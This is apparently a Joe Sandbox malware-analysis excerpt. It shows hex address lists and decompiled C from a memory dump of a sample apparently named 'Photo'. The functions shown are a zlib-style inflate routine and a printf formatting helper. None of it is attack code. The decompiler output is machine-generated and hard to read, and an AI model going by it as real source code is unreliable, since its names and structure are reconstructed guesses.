0x001d5fb2
0x001d5fb4
0x001d6000
0x001d6000
0x001d6003
0x001d6009
0x00000000
0x001d5fb6
0x001d5fb6
0x001d5fb8
0x001d5fe5
0x001d5fe5
0x001d5fea
0x001d5fee
0x001d5fef
0x001d5ff1
0x001d5ff3
0x001d5ff6
0x001d5ff6
0x001d5ff6
0x001d5ffc
0x00000000
0x001d5fba
0x001d5fba
0x001d5fc0
0x001d5fc0
0x001d5fc2
0x00000000
0x00000000
0x001d5fc8
0x001d5fcb
0x001d5fcd
0x001d5fcf
0x001d5fd0
0x001d5fd3
0x001d5fd5
0x001d5fd8
0x001d5fdc
0x001d5fdd
0x001d5fe1
0x001d5fe3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001d5fe3
0x00000000
0x001d5fc0
0x001d5fb8
0x00000000
0x00000000
0x001d600f
0x001d600f
0x001d6012
0x001d6015
0x001d601e
0x001d6020
0x001d6023
0x001d6024
0x001d6026
0x001d602b
0x001d602e
0x001d6031
0x001d6033
0x001d6078
0x001d6078
0x001d607a
0x001d6134
0x001d6134
0x001d613a
0x001d613d
0x001d6140
0x001d6146
0x001d6148
0x001d614a
0x001d614e
0x001d6150
0x001d6168
0x001d616a
0x001d6170
0x001d6173
0x001d6176
0x001d6176
0x001d6179
0x001d617c
0x00000000
0x001d6152
0x001d6152
0x001d6156
0x001d615d
0x00000000
0x001d615d
0x001d6080
0x001d6080
0x001d6082
0x001d6087
0x001d608a
0x001d608c
0x001d608f
0x001d6096
0x001d6098
0x001d609b
0x001d609d
0x001d609f
0x001d60a0
0x001d60a8
0x001d60aa
0x001d60ae
0x001d60b0
0x001d60b5
0x001d60b8
0x001d60bf
0x001d60c2
0x001d60c4
0x001d60c6
0x001d611f
0x001d611f
0x001d6123
0x001d6126
0x001d612a
0x001d612c
0x001d612e
0x001d612e
0x001d612e
0x00000000
0x001d60c8
0x001d60c8
0x001d60c8
0x001d60ca
0x00000000
0x00000000
0x001d60d0
0x001d60d4
0x001d60d6
0x001d60db
0x001d60de
0x001d60df
0x001d60e2
0x001d60e5
0x001d60e9
0x001d60ee
0x001d60f2
0x001d60f8
0x001d60fa
0x001d60fc
0x001d60ff
0x001d6103
0x001d6105
0x001d6107
0x001d610b
0x001d610e
0x001d6113
0x001d6119
0x001d611b
0x001d611d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001d611d
0x00000000
0x001d60c8
0x001d60c6
0x001d6035
0x001d6035
0x001d6035
0x001d6037
0x00000000
0x00000000
0x001d603d
0x001d6040
0x001d6042
0x001d6044
0x001d6045
0x001d6048
0x001d604a
0x001d604d
0x001d6050
0x001d6054
0x001d6055
0x001d605a
0x001d6060
0x001d6061
0x001d6065
0x001d6068
0x001d606a
0x001d6071
0x001d6074
0x001d6076
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001d6076
0x00000000
0x001d6035
0x00000000
0x00000000
0x001d617f
0x001d617f
0x001d6182
0x001d6184
0x001d61d0
0x001d61d0
0x00000000
0x001d6186
0x001d6186
0x001d6188
0x001d61b5
0x001d61b5
0x001d61ba
0x001d61be
0x001d61bf
0x001d61c1
0x001d61c3
0x001d61c6
0x001d61c6
0x001d61c6
0x001d61cc
0x00000000
0x001d618a
0x001d618a
0x001d6190
0x001d6190
0x001d6192
0x00000000
0x00000000
0x001d6198
0x001d619b
0x001d619d
0x001d619f
0x001d61a0
0x001d61a3
0x001d61a5
0x001d61a8
0x001d61ac
0x001d61ad
0x001d61b1
0x001d61b3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001d61b3
0x00000000
0x001d6190
0x001d6188
0x00000000
0x00000000
0x001d61d6
0x001d61d6
0x001d61da
0x001d61dc
0x00000000
0x001d61e2
0x001d61e2
0x001d61e6
0x001d61e8
0x001d61eb
0x001d61ed
0x001d623d
0x001d6241
0x001d6241
0x001d6243
0x001d6247
0x00000000
0x001d61ef
0x001d61ef
0x001d61f1
0x001d61f4
0x001d6215
0x001d6215
0x001d6218
0x001d621a
0x001d622b
0x001d622d
0x001d622d
0x001d621c
0x001d621c
0x001d6221
0x001d6224
0x001d6224
0x001d6230
0x001d6234
0x001d6237
0x001d6239
0x001d624a
0x001d624a
0x001d624a
0x001d624c
0x001d6250
0x001d6252
0x001d6255
0x001d6257
0x001d6259
0x001d625d
0x001d6261
0x001d6264
0x001d6268
0x001d626a
0x001d6270
0x001d6270
0x001d6273
0x001d6275
0x001d6276
0x001d6276
0x001d6276
0x001d627b
0x001d627f
0x001d6283
0x001d6287
0x001d628a
0x001d6290
0x001d6290
0x001d58a4
0x001d58a4
0x001d61f6
0x001d61f6
0x001d61fd
0x00000000
0x001d61ff
0x001d61ff
0x001d6203
0x001d620a
0x001d620a
0x001d61fd
0x001d61f4
0x00000000
0x001d61ed
0x00000000
0x00000000
0x001d629b
0x001d62a0
0x00000000
0x001d62a6
0x001d62a6
0x001d62aa
0x001d62ad
0x001d62b1
0x001d62b5
0x001d62b7
0x001d62bb
0x00000000
0x001d62bb
0x00000000
0x00000000
0x001d62c6
0x001d62ca
0x001d62cb
0x001d62cd
0x001d62cf
0x001d62cf
0x001d62cf
0x00000000
0x001d639e
0x001d63a2
0x001d641c
0x001d641c
0x00000000
0x001d63a4
0x001d63a4
0x001d63a8
0x00000000
0x001d63aa
0x001d63aa
0x001d63ad
0x001d63d3
0x001d63d3
0x001d63d6
0x001d6414
0x001d6416
0x001d6416
0x001d6418
0x00000000
0x001d63d8
0x001d63d8
0x001d63dc
0x001d63e3
0x00000000
0x001d63e3
0x001d63b0
0x001d63b0
0x001d63b0
0x001d63b2
0x00000000
0x00000000
0x001d63b8
0x001d63bb
0x001d63bd
0x001d63bf
0x001d63c0
0x001d63c2
0x001d63c6
0x001d63c9
0x001d63cd
0x001d63ce
0x001d63d1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x001d63d1
0x00000000
0x001d63b0
0x001d63ad
0x001d63a8
0x00000000
0x00000000
0x001d6422
0x001d6422
0x00000000
0x00000000
0x001d642f
0x001d5471
0x001d5471
0x001d5475
0x001d5475
0x001d5479
0x001d5479
0x001d5481
0x001d5485
0x001d548c
0x001d5493
0x001d5496
0x001d549a
0x001d549c
0x001d54a0
0x001d54a3
0x001d54a6
0x001d54ca
0x001d54d4
0x001d54d9
0x001d54dc
0x001d54de
0x001d6457
0x00000000
0x001d54e4
0x001d54e4
0x00000000
0x001d54e4
0x001d54a8
0x001d54a8
0x001d54ab
0x001d645b
0x001d645f
0x001d6462
0x001d6465
0x001d6468
0x001d646b
0x001d646e
0x001d6472
0x001d6476
0x001d64b4
0x001d64b4
0x001d6478
0x001d6478
0x001d647a
0x00000000
0x001d647c
0x001d647f
0x001d6482
0x001d6486
0x001d6487
0x001d648a
0x001d64a0
0x001d64a5
0x001d64a9
0x001d64ac
0x001d64af
0x001d648c
0x001d648c
0x001d6491
0x001d6495
0x001d6498
0x001d649b
0x001d649b
0x001d648a
0x001d647a
0x001d64b8
0x001d64ba
0x001d64bd
0x001d64c8
0x001d64c8
0x001d64bf
0x001d64bf
0x001d64c2
0x00000000
0x001d64c4
0x001d64c4
0x001d64c4
0x001d64c2
0x001d64d2
0x001d64da
0x001d64e1
0x001d64e4
0x001d64eb
0x001d64ed
0x001d64f0
0x001d64f5
0x001d64f8
0x001d64fe
0x001d64fe
0x001d6503
0x001d6526
0x00000000
0x00000000
0x00000000
0x001d64fa
0x001d64fa
0x001d64fc
0x001d6505
0x001d6505
0x001d6510
0x001d6513
0x001d651a
0x00000000
0x00000000
0x00000000
0x001d64fc
0x001d54b1
0x001d54b1
0x001d54b3
0x001d54b6
0x00000000
0x001d54bc
0x001d54bc
0x001d54bf
0x00000000
0x001d54c1
0x001d54c1
0x001d54c4
0x00000000
0x00000000
0x00000000
0x00000000
0x001d54c4
0x001d54bf
0x001d54b6
0x001d54ab
0x00000000
0x00000000
0x001d54ea
0x001d54f6
0x00000000
0x00000000
0x001d58a8
0x001d58a8
0x001d58aa
0x00000000
0x001d4fa0
0x001d4f8a
0x001d4f29
0x00000000

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c488d9dc63855c3a3e37e169a1733ec68dfb0b031f2833c2d6e50aa7556e0d1
Instruction ID: d6ee35d80933de74ea571de64c5f5a5fb7d663cd1bd69164c2a68de383536e26
Opcode Fuzzy Hash: 5c488d9dc63855c3a3e37e169a1733ec68dfb0b031f2833c2d6e50aa7556e0d1
Instruction Fuzzy Hash: 32428EB0604B029FD718CF29C48072ABBE2FF94304F544A6EE8958B791E375E955CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 001D7330 Relevance: .4, Instructions: 382
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E001D7330() {
				intOrPtr _t149;
				signed int _t166;
				intOrPtr _t177;
				signed int _t189;
				void* _t191;
				signed int _t192;
				intOrPtr _t197;
				signed int _t204;
				char _t206;
				char _t209;
				intOrPtr _t210;
				char _t211;
				char _t214;
				intOrPtr* _t215;
				signed char* _t217;
				signed char* _t221;
				signed int _t238;
				intOrPtr _t250;
				unsigned int _t251;
				intOrPtr _t253;
				unsigned int _t255;
				intOrPtr* _t257;
				signed char _t264;
				intOrPtr* _t266;
				signed char _t270;
				signed char _t271;
				signed char* _t273;
				void* _t275;
				void* _t277;
				intOrPtr _t278;
				signed char _t280;
				signed char _t285;
				signed char _t288;
				signed char _t293;
				signed char* _t295;
				signed int _t296;
				void* _t297;
				signed char* _t298;
				signed char _t299;
				signed char _t300;
				signed char _t301;
				signed char _t302;
				signed char _t303;
				void* _t306;
				signed char _t309;
				signed char* _t310;
				signed char* _t311;
				unsigned int _t312;
				void* _t316;
				signed char* _t317;
				void* _t319;
				char* _t323;
				signed int _t324;
				signed int _t325;
				void* _t326;

				_t257 =  *((intOrPtr*)(_t326 + 0x4c));
				_t250 =  *((intOrPtr*)(_t257 + 0x1c));
				_t295 =  *_t257 - 1;
				_t324 =  *(_t250 + 0x3c);
				 *((intOrPtr*)(_t326 + 0x38)) =  *((intOrPtr*)(_t257 + 4)) + 0xfffffffb + _t295;
				_t323 =  *((intOrPtr*)(_t257 + 0xc)) - 1;
				_t149 =  *((intOrPtr*)(_t257 + 0x10));
				 *((intOrPtr*)(_t326 + 0x1c)) = _t250;
				 *((intOrPtr*)(_t326 + 0x14)) = _t149 + 0xfffffeff + _t323;
				 *((intOrPtr*)(_t326 + 0x30)) =  *((intOrPtr*)(_t250 + 0x28));
				 *((intOrPtr*)(_t326 + 0x44)) =  *((intOrPtr*)(_t250 + 0x2c));
				 *((intOrPtr*)(_t326 + 0x20)) =  *((intOrPtr*)(_t250 + 0x30));
				 *((intOrPtr*)(_t326 + 0x34)) =  *((intOrPtr*)(_t250 + 0x34));
				 *((intOrPtr*)(_t326 + 0x28)) =  *((intOrPtr*)(_t250 + 0x4c));
				 *((intOrPtr*)(_t326 + 0x2c)) =  *((intOrPtr*)(_t250 + 0x50));
				 *(_t326 + 0x18) = 1;
				 *((intOrPtr*)(_t326 + 0x40)) = _t149 -  *(_t326 + 0x50) + _t323;
				 *(_t326 + 0x18) =  *(_t326 + 0x18) <<  *(_t250 + 0x54);
				 *(_t326 + 0x18) =  *(_t326 + 0x18) - 1;
				 *(_t326 + 0x10) = _t295;
				_t312 =  *(_t250 + 0x38);
				 *(_t326 + 0x3c) = (1 <<  *(_t250 + 0x58)) - 1;
				do {
					if(_t324 < 0xf) {
						_t298 =  &(_t295[2]);
						 *(_t326 + 0x10) = _t298;
						_t312 = _t312 + ((_t295[1] & 0x000000ff) << _t324) + (( *_t298 & 0x000000ff) << _t324 + 8);
						_t324 = _t324 + 0x10;
					}
					_t251 =  *( *((intOrPtr*)(_t326 + 0x28)) + ( *(_t326 + 0x18) & _t312) * 4);
					_t264 = _t251 >> 0x00000008 & 0x000000ff;
					_t312 = _t312 >> _t264;
					_t324 = _t324 - _t264;
					_t296 = _t251 & 0x000000ff;
					if(_t251 == 0) {
						L7:
						_t323 = _t323 + 1;
						 *_t323 = _t251 >> 0x10;
						L47:
						_t295 =  *(_t326 + 0x10);
						_t253 =  *((intOrPtr*)(_t326 + 0x14));
						if(_t295 >=  *((intOrPtr*)(_t326 + 0x38))) {
							L62:
							_t166 = _t324 >> 3;
							_t297 = _t295 - _t166;
							_t325 = _t324 - (_t166 << 3);
							_t266 =  *((intOrPtr*)(_t326 + 0x4c));
							 *_t266 = _t297 + 1;
							 *((intOrPtr*)(_t266 + 0xc)) = _t323 + 1;
							 *((intOrPtr*)(_t266 + 4)) =  *((intOrPtr*)(_t326 + 0x38)) - _t297 + 5;
							 *((intOrPtr*)(_t266 + 0x10)) = _t253 - _t323 + 0x101;
							_t177 =  *((intOrPtr*)(_t326 + 0x1c));
							 *(_t177 + 0x38) = _t312 & (0x00000001 << _t325) - 0x00000001;
							 *(_t177 + 0x3c) = _t325;
							return _t177;
						}
						goto L48;
					}
					while((_t296 & 0x00000010) == 0) {
						if((_t296 & 0x00000040) != 0) {
							_t215 =  *((intOrPtr*)(_t326 + 0x1c));
							_t253 =  *((intOrPtr*)(_t326 + 0x14));
							_t295 =  *(_t326 + 0x10);
							if((_t296 & 0x00000020) == 0) {
								 *( *((intOrPtr*)(_t326 + 0x4c)) + 0x18) = "invalid literal/length code";
								L61:
								 *_t215 = 0x1d;
								goto L62;
							}
							 *_t215 = 0xb;
							goto L62;
						}
						_t251 =  *( *((intOrPtr*)(_t326 + 0x28)) + (((0x00000001 << _t296) - 0x00000001 & _t312) + (_t251 >> 0x10)) * 4);
						_t293 = _t251 >> 0x00000008 & 0x000000ff;
						_t312 = _t312 >> _t293;
						_t324 = _t324 - _t293;
						_t296 = _t251 & 0x000000ff;
						if(_t251 != 0) {
							continue;
						}
						goto L7;
					}
					_t255 = _t251 >> 0x10;
					_t299 = _t296 & 0x0000000f;
					if(_t299 != 0) {
						_t288 = _t299;
						_t238 = (0x00000001 << _t288) - 0x00000001 & _t312;
						_t312 = _t312 >> _t288;
						_t255 = _t255 + _t238;
						_t324 = _t324 - _t299;
					}
					if(_t324 < 0xf) {
						_t310 =  *(_t326 + 0x10);
						_t311 =  &(_t310[2]);
						 *(_t326 + 0x10) = _t311;
						_t312 = _t312 + ((_t310[1] & 0x000000ff) << _t324) + (( *_t311 & 0x000000ff) << _t324 + 8);
						_t324 = _t324 + 0x10;
					}
					_t300 =  *( *((intOrPtr*)(_t326 + 0x2c)) + ( *(_t326 + 0x3c) & _t312) * 4);
					_t270 = _t300 >> 0x00000008 & 0x000000ff;
					 *(_t326 + 0x50) = _t300;
					_t324 = _t324 - _t270;
					_t301 = _t300 & 0x000000ff;
					_t312 = _t312 >> _t270;
					if((_t301 & 0x00000010) != 0) {
						L17:
						 *(_t326 + 0x50) =  *(_t326 + 0x50) >> 0x10;
						_t302 = _t301 & 0x0000000f;
						if(_t324 < _t302) {
							_t280 = _t324;
							_t217 =  &(( *(_t326 + 0x10))[1]);
							_t324 = _t324 + 8;
							 *(_t326 + 0x10) = _t217;
							_t312 = _t312 + (( *_t217 & 0x000000ff) << _t280);
							if(_t324 < _t302) {
								_t221 =  &(( *(_t326 + 0x10))[1]);
								 *(_t326 + 0x10) = _t221;
								_t312 = _t312 + (( *_t221 & 0x000000ff) << _t324);
								_t324 = _t324 + 8;
							}
						}
						_t271 = _t302;
						_t324 = _t324 - _t302;
						_t189 = (0x00000001 << _t271) - 0x00000001 & _t312;
						_t312 = _t312 >> _t271;
						 *(_t326 + 0x50) =  *(_t326 + 0x50) + _t189;
						_t191 = _t323 -  *((intOrPtr*)(_t326 + 0x40));
						_t303 =  *(_t326 + 0x50);
						 *(_t326 + 0x24) = _t312;
						if(_t303 <= _t191) {
							_t273 = _t323 - _t303;
							do {
								_t192 = _t273[1] & 0x000000ff;
								_t273 =  &(_t273[3]);
								 *(_t323 + 1) = _t192;
								_t255 = _t255 - 3;
								 *(_t323 + 2) =  *(_t273 - 1) & 0x000000ff;
								_t323 = _t323 + 3;
								 *_t323 =  *_t273 & 0x000000ff;
							} while (_t255 > 2);
							if(_t255 != 0) {
								_t323 = _t323 + 1;
								 *_t323 = _t273[1];
								if(_t255 > 1) {
									_t323 = _t323 + 1;
									 *_t323 = _t273[2];
								}
							}
							goto L47;
						} else {
							_t275 = _t303 - _t191;
							if(_t275 <=  *((intOrPtr*)(_t326 + 0x44))) {
								L23:
								_t197 =  *((intOrPtr*)(_t326 + 0x20));
								_t316 =  *((intOrPtr*)(_t326 + 0x34)) - 1;
								if(_t197 != 0) {
									if(_t197 >= _t275) {
										_t317 = _t316 + _t197 - _t275;
										if(_t275 >= _t255) {
											L40:
											if(_t255 <= 2) {
												L43:
												if(_t255 != 0) {
													_t323 = _t323 + 1;
													 *_t323 = _t317[1];
													if(_t255 > 1) {
														_t323 = _t323 + 1;
														 *_t323 = _t317[2];
													}
												}
												_t312 =  *(_t326 + 0x24);
												goto L47;
											}
											_t306 = (0xaaaaaaab * (_t255 - 3) >> 0x20 >> 1) + 1;
											do {
												_t255 = _t255 - 3;
												 *(_t323 + 1) = _t317[1] & 0x000000ff;
												_t204 = _t317[2] & 0x000000ff;
												_t317 =  &(_t317[3]);
												 *(_t323 + 2) = _t204;
												_t323 = _t323 + 3;
												 *_t323 =  *_t317 & 0x000000ff;
												_t306 = _t306 - 1;
											} while (_t306 != 0);
											goto L43;
										}
										_t255 = _t255 - _t275;
										do {
											_t206 = _t317[1];
											_t317 =  &(_t317[1]);
											_t323 = _t323 + 1;
											 *_t323 = _t206;
											_t275 = _t275 - 1;
										} while (_t275 != 0);
										L39:
										_t317 = _t323 - _t303;
										goto L40;
									}
									_t277 = _t275 -  *((intOrPtr*)(_t326 + 0x20));
									_t317 = _t316 + _t197 - _t275 +  *((intOrPtr*)(_t326 + 0x30));
									if(_t277 >= _t255) {
										goto L40;
									}
									_t255 = _t255 - _t277;
									_t319 = _t317 - _t323;
									do {
										_t209 =  *((intOrPtr*)(_t319 + _t323 + 1));
										_t323 = _t323 + 1;
										 *_t323 = _t209;
										_t277 = _t277 - 1;
									} while (_t277 != 0);
									_t210 =  *((intOrPtr*)(_t326 + 0x20));
									_t317 =  *((intOrPtr*)(_t326 + 0x34)) - 1;
									if(_t210 >= _t255) {
										goto L40;
									}
									_t278 = _t210;
									_t255 = _t255 - _t210;
									do {
										_t211 = _t317[1];
										_t317 =  &(_t317[1]);
										_t323 = _t323 + 1;
										 *_t323 = _t211;
										_t278 = _t278 - 1;
									} while (_t278 != 0);
									goto L39;
								}
								_t317 = _t316 +  *((intOrPtr*)(_t326 + 0x30)) - _t275;
								if(_t275 >= _t255) {
									goto L40;
								}
								_t255 = _t255 - _t275;
								do {
									_t214 = _t317[1];
									_t317 =  &(_t317[1]);
									_t323 = _t323 + 1;
									 *_t323 = _t214;
									_t275 = _t275 - 1;
								} while (_t275 != 0);
								goto L39;
							}
							_t215 =  *((intOrPtr*)(_t326 + 0x1c));
							if( *((intOrPtr*)(_t215 + 0x1bc0)) != 0) {
								 *( *((intOrPtr*)(_t326 + 0x4c)) + 0x18) = "invalid distance too far back";
								goto L60;
							}
							goto L23;
						}
					} else {
						while((_t301 & 0x00000040) == 0) {
							_t309 =  *( *((intOrPtr*)(_t326 + 0x2c)) + (((0x00000001 << _t301) - 0x00000001 & _t312) + ( *(_t326 + 0x50) >> 0x10)) * 4);
							_t285 = _t309 >> 0x00000008 & 0x000000ff;
							 *(_t326 + 0x50) = _t309;
							_t324 = _t324 - _t285;
							_t301 = _t309 & 0x000000ff;
							_t312 = _t312 >> _t285;
							if((_t301 & 0x00000010) == 0) {
								continue;
							}
							goto L17;
						}
						_t215 =  *((intOrPtr*)(_t326 + 0x1c));
						 *( *((intOrPtr*)(_t326 + 0x4c)) + 0x18) = "invalid distance code";
						L60:
						_t253 =  *((intOrPtr*)(_t326 + 0x14));
						_t295 =  *(_t326 + 0x10);
						goto L61;
					}
					L48:
				} while (_t323 < _t253);
				goto L62;
			}

0x001d7337
0x001d733b
0x001d7343
0x001d734c
0x001d734f
0x001d7353
0x001d7354
0x001d7364
0x001d7368
0x001d7371
0x001d7378
0x001d737f
0x001d7386
0x001d738d
0x001d7394
0x001d739d
0x001d73a1
0x001d73a8
0x001d73af
0x001d73b6
0x001d73ba
0x001d73bd
0x001d73c1
0x001d73c4
0x001d73ce
0x001d73d3
0x001d73df
0x001d73e1
0x001d73e1
0x001d73ee
0x001d73f6
0x001d73f9
0x001d73fb
0x001d73fd
0x001d7402
0x001d743d
0x001d743d
0x001d7441
0x001d765e
0x001d765e
0x001d7662
0x001d766a
0x001d7709
0x001d770b
0x001d770e
0x001d7713
0x001d771e
0x001d7728
0x001d772d
0x001d773b
0x001d7744
0x001d7747
0x001d774b
0x001d7750
0x001d7758
0x001d7758
0x00000000
0x001d766a
0x001d7404
0x001d740c
0x001d76b9
0x001d76c0
0x001d76c4
0x001d76c8
0x001d76d6
0x001d7703
0x001d7703
0x00000000
0x001d7703
0x001d76ca
0x00000000
0x001d76ca
0x001d7427
0x001d742f
0x001d7432
0x001d7434
0x001d7436
0x001d743b
0x00000000
0x00000000
0x00000000
0x001d743b
0x001d7448
0x001d744b
0x001d744e
0x001d7469
0x001d7473
0x001d7475
0x001d7477
0x001d7479
0x001d7479
0x001d747e
0x001d7480
0x001d748a
0x001d7494
0x001d749d
0x001d749f
0x001d749f
0x001d74ac
0x001d74b4
0x001d74b7
0x001d74bb
0x001d74bd
0x001d74c0
0x001d74c5
0x001d7504
0x001d7504
0x001d7509
0x001d750e
0x001d7514
0x001d7516
0x001d7517
0x001d751a
0x001d7523
0x001d7527
0x001d752f
0x001d7530
0x001d7539
0x001d753b
0x001d753b
0x001d7527
0x001d753e
0x001d7547
0x001d754a
0x001d754c
0x001d754e
0x001d7554
0x001d7558
0x001d755c
0x001d7562
0x001d767f
0x001d7681
0x001d7681
0x001d7685
0x001d7688
0x001d768b
0x001d7692
0x001d7695
0x001d769b
0x001d769d
0x001d76a4
0x001d76a9
0x001d76aa
0x001d76af
0x001d76b4
0x001d76b5
0x001d76b5
0x001d76af
0x00000000
0x001d7568
0x001d756a
0x001d7570
0x001d7583
0x001d7587
0x001d758b
0x001d758e
0x001d75b2
0x001d75f7
0x001d75fb
0x001d7612
0x001d7615
0x001d7645
0x001d7647
0x001d764c
0x001d764d
0x001d7652
0x001d7657
0x001d7658
0x001d7658
0x001d7652
0x001d765a
0x00000000
0x001d765a
0x001d7623
0x001d7624
0x001d7628
0x001d762b
0x001d762e
0x001d7632
0x001d7635
0x001d7638
0x001d763e
0x001d7640
0x001d7640
0x00000000
0x001d7624
0x001d75fd
0x001d7600
0x001d7600
0x001d7603
0x001d7606
0x001d7607
0x001d7609
0x001d7609
0x001d760e
0x001d7610
0x00000000
0x001d7610
0x001d75b6
0x001d75be
0x001d75c2
0x00000000
0x00000000
0x001d75c4
0x001d75c6
0x001d75c8
0x001d75c8
0x001d75cc
0x001d75cd
0x001d75cf
0x001d75cf
0x001d75d8
0x001d75dc
0x001d75df
0x00000000
0x00000000
0x001d75e1
0x001d75e3
0x001d75e5
0x001d75e5
0x001d75e8
0x001d75eb
0x001d75ec
0x001d75ee
0x001d75ee
0x00000000
0x001d75f3
0x001d7596
0x001d759a
0x00000000
0x00000000
0x001d759c
0x001d75a0
0x001d75a0
0x001d75a3
0x001d75a6
0x001d75a7
0x001d75a9
0x001d75a9
0x00000000
0x001d75ae
0x001d7572
0x001d757d
0x001d76f4
0x00000000
0x001d76f4
0x00000000
0x001d757d
0x001d74c7
0x001d74c7
0x001d74e9
0x001d74f1
0x001d74f4
0x001d74f8
0x001d74fa
0x001d74fd
0x001d7502
0x00000000
0x00000000
0x00000000
0x001d7502
0x001d76e3
0x001d76e7
0x001d76fb
0x001d76fb
0x001d76ff
0x00000000
0x001d76ff
0x001d7670
0x001d7670
0x00000000

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a229908d2af6b6f4e6645c7a2a448c4931fe8b6787e06fd54804a208504d68ee
Instruction ID: 0086d8a53ecba65ba1ae0bd8c2a6f7928372e746e899b8cecc4b546a0b15a4ae
Opcode Fuzzy Hash: a229908d2af6b6f4e6645c7a2a448c4931fe8b6787e06fd54804a208504d68ee
Instruction Fuzzy Hash: BBD1B43120C7528FC705DE2CC490169BBE2EBD9304F184A6EE8D5CB386E775E94ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 001DBC94 Relevance: .2, Instructions: 237
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E001DBC94(void* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				signed int _t52;
				signed int _t54;
				signed int _t55;
				void* _t56;
				signed int _t57;
				signed char _t59;
				signed char _t61;
				signed int _t63;
				void* _t64;
				signed int _t65;
				signed char _t74;
				signed char _t77;
				void* _t85;
				void* _t87;
				signed char _t89;
				signed char _t91;
				signed int _t92;
				signed int _t94;
				signed int _t96;
				signed int _t97;
				signed int _t101;
				signed int* _t103;
				void* _t105;
				signed int _t111;
				unsigned int _t113;
				signed char _t115;
				void* _t123;
				unsigned int _t124;
				void* _t125;
				signed int _t126;
				short _t127;
				void* _t130;
				void* _t132;
				void* _t134;
				signed int _t136;
				void* _t137;
				void* _t139;
				void* _t140;

				_t52 =  *0x1fc008; // 0x369f4a24
				_v8 = _t52 ^ _t136;
				_t134 = __ecx;
				_t101 = 0;
				_t123 = 0x41;
				_t54 =  *(__ecx + 0x32) & 0x0000ffff;
				_t105 = 0x58;
				_t139 = _t54 - 0x64;
				if(_t139 > 0) {
					__eflags = _t54 - 0x70;
					if(__eflags > 0) {
						_t55 = _t54 - 0x73;
						__eflags = _t55;
						if(_t55 == 0) {
							L9:
							_t56 = E001DC6C6(_t134);
							L10:
							if(_t56 != 0) {
								__eflags =  *((intOrPtr*)(_t134 + 0x30)) - _t101;
								if( *((intOrPtr*)(_t134 + 0x30)) != _t101) {
									L71:
									_t57 = 1;
									L72:
									E001D7760();
									return _t57;
								}
								_t124 =  *(_t134 + 0x20);
								_push(_t125);
								_v16 = _t101;
								_t59 = _t124 >> 4;
								_v12 = _t101;
								_t126 = 0x20;
								__eflags = 1 & _t59;
								if((1 & _t59) == 0) {
									L46:
									_t111 =  *(_t134 + 0x32) & 0x0000ffff;
									__eflags = _t111 - 0x78;
									if(_t111 == 0x78) {
										L48:
										_t61 = _t124 >> 5;
										__eflags = _t61 & 0x00000001;
										if((_t61 & 0x00000001) == 0) {
											L50:
											__eflags = 0;
											L51:
											__eflags = _t111 - 0x61;
											if(_t111 == 0x61) {
												L54:
												_t63 = 1;
												L55:
												_t127 = 0x30;
												__eflags = _t63;
												if(_t63 != 0) {
													L57:
													_t64 = 0x58;
													 *((short*)(_t136 + _t101 * 2 - 0xc)) = _t127;
													__eflags = _t111 - _t64;
													if(_t111 == _t64) {
														L60:
														_t65 = 1;
														L61:
														__eflags = _t65;
														asm("cbw");
														 *((short*)(_t136 + _t101 * 2 - 0xa)) = ((_t65 & 0xffffff00 | _t65 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
														_t101 = _t101 + 2;
														__eflags = _t101;
														L62:
														_t130 =  *((intOrPtr*)(_t134 + 0x24)) -  *((intOrPtr*)(_t134 + 0x38)) - _t101;
														__eflags = _t124 & 0x0000000c;
														if((_t124 & 0x0000000c) == 0) {
															E001DAF5B(_t134 + 0x448, 0x20, _t130, _t134 + 0x18);
															_t137 = _t137 + 0x10;
														}
														E001DC9E1(_t134 + 0x448,  &_v16, _t101, _t134 + 0x18,  *((intOrPtr*)(_t134 + 0xc)));
														_t113 =  *(_t134 + 0x20);
														_t103 = _t134 + 0x18;
														_t74 = _t113 >> 3;
														__eflags = _t74 & 0x00000001;
														if((_t74 & 0x00000001) != 0) {
															_t115 = _t113 >> 2;
															__eflags = _t115 & 0x00000001;
															if((_t115 & 0x00000001) == 0) {
																E001DAF5B(_t134 + 0x448, 0x30, _t130, _t103);
																_t137 = _t137 + 0x10;
															}
														}
														E001DC8C3(_t134, 0);
														__eflags =  *_t103;
														if( *_t103 >= 0) {
															_t77 =  *(_t134 + 0x20) >> 2;
															__eflags = _t77 & 0x00000001;
															if((_t77 & 0x00000001) != 0) {
																E001DAF5B(_t134 + 0x448, 0x20, _t130, _t103);
															}
														}
														goto L71;
													}
